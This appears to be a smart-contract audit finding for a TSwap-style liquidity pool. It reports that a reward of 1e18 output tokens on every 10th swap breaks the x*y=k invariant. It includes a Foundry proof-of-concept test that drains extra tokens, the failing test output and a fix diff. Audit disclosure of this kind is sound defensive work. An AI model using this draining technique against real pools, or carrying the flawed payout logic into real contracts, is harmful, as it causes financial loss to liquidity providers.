Summary
Protocol invariant is violated every 10th swap, donating 1e18 of output tokens to the caller.
Vulnerability Details
As per contest page details
This means contract should always follow this invariant. However it doesn't in reality due to the donation given to swappers every 10th swap.
Here is the main logic that is responsible for this -
swap_count++;
if (swap_count >= SWAP_COUNT_MAX) {
swap_count = 0;
outputToken.safeTransfer(msg.sender, 1_000_000_000_000_000_000);
}
This approach gonna drain the pools very quickly and protocol will not be able to process further swaps causing lot of legit users to loose funds.
POC
In existing test suite, add the following test
function testInvariantCanBeViolated() public {
vm.startPrank(liquidityProvider);
weth.approve(address(pool), 100e18);
poolToken.approve(address(pool), 100e18);
pool.deposit(100e18, 100e18, 100e18, uint64(block.timestamp));
vm.stopPrank();
uint256 outputWeth = 1e15;
vm.startPrank(user);
poolToken.approve(address(pool), type(uint256).max);
poolToken.mint(user, 100e18);
pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.timestamp));
pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.timestamp));
pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.timestamp));
pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.timestamp));
pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.timestamp));
pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.timestamp));
pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.timestamp));
pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.timestamp));
pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.timestamp));
int256 startingY = int256(weth.balanceOf(address(pool)));
int256 expectedDeltaY = int256(-1) * int256(outputWeth);
pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.timestamp));
vm.stopPrank();
uint256 endingY = weth.balanceOf(address(pool));
int256 actualDeltaY = int256(endingY) - int256(startingY);
assertEq(actualDeltaY, expectedDeltaY);
}
then run forge test --mt testInvariantCanBeViolated -vv
and we'll get the results as given below.
[⠊] Compiling...
[⠑] Compiling 1 files with Solc 0.8.20
[⠘] Solc 0.8.20 finished in 1.70s
Compiler run successful :
Ran 1 test for test/unit/TSwapPool.t.sol:TSwapPoolTest
[FAIL. Reason: assertion failed] testInvariantCanBeViolated() (gas: 382410)
Logs:
Error: a == b not satisfied [int]
Left: -1001000000000000000
Right: -1000000000000000
Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 2.05ms (553.00µs CPU time)
Ran 1 test suite in 182.21ms (2.05ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)
Failing tests:
Encountered 1 failing test in test/unit/TSwapPool.t.sol:TSwapPoolTest
[FAIL. Reason: assertion failed] testInvariantCanBeViolated() (gas: 382410)
Encountered a total of 1 failing tests, 0 tests succeeded
As our assertion failed, which validate the protocol invariant is broken.
Impact
A malicious user can do lot of swap to drain the pool and causing protocol bankruptcy.
Tools Used
Manual Review, Foundry
Recommendations
Remove the snippet that is causing this issue. Or verify the protocol invariant, as balance changes to keep x * Y = k
One of the recommendation is shown below -
- swap_count++;
- // Fee-on-transfer
- if (swap_count >= SWAP_COUNT_MAX) {
- swap_count = 0;
- outputToken.safeTransfer(msg.sender, 1_000_000_000_000_000_000);
- }